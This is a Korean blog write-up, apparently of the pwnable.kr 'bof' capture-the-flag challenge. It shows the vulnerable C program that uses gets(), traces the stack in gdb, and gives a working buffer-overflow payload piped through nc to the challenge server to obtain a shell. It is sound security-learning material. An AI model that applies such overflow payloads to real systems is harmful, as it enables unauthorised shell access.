버퍼 오버플로우 문제이다 평상시 공부했던것 처럼 풀면 되나....
약간의 문제가 있어보인다!
확인해보자
#include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; }
overflowme 라는 배열이 32byte로 선언되어 있다.
그리고 gets ( )함수를 통해 입력받아 그 값이 0xcafebabe 이면 쉘을 얻어낼 수 있다.
기본값은 0xdeadbeef 으로 선언되어있다.
우리는 하던대로 배열 32byte를 덮어씌우고 func의 주소를 찾아 deadbeef를 cafebabe로 바꾸면 쉘을 딸 수 있다.
실행해보자.
WOW 보호기법중 하나인 카나리가 걸려있다.
그렇다면 우리는 스택의 주소를 참조하여 어디에 deadbeef 라는 값이 들어가 있는지 찾으면 될것 같다. 자 분석해보자.
disas func 명령어를 통해 func 함수를 디스어셈블리 한 내용이다.
자세히 보면 0x5655564f 에서 gets 함수를 통해 입력을 받고
0x5655565d 에서 jne 명령어를 통해 분기된다.
그렇다면 gets 함수 다음에 바로 break 문을 걸고 실행을 시킨후 스택을 보면 덮이는 부분을 확인할 수 있을 것 같다.
버퍼 오버플로우 공격을 실행하면 분명히 stack이 덮일것이다 확인해보자.
자 두번째 끝에부터 0x41414141로 덮였다.
보이는가 0xdeadbeef 가!!!!
우리는 저 부분을 0xcafebabe 로 바꿔주면 되는것 아닌가!!!
자 바꿔주자 저부분 전까지 덮어주려면 12byte 만큼을 더 덮어주면 된다.
그렇다면 공격코드는 다음과 같다.
(python -c 'print "A"*52 + "\xbe\xba\xfe\xca")
공격을 시도할 땐 nc로 payload를 보내보자
(python -c 'print "A" * 52 + "\xbe\xba\xfe\xca" + "\n"' ; cat) | nc pwnable.kr 9000
'pwnable > pwnable.kr' 카테고리의 다른 글
pwnable.kr -passcode (0) | 2016.09.24 |
---|---|
pwnable.kr -echo1 (0) | 2016.09.23 |
pwnable.kr -flag (0) | 2016.07.15 |
pwnable.kr -shellshock (0) | 2016.07.15 |
pwnable.kr -mistake (0) | 2016.07.15 |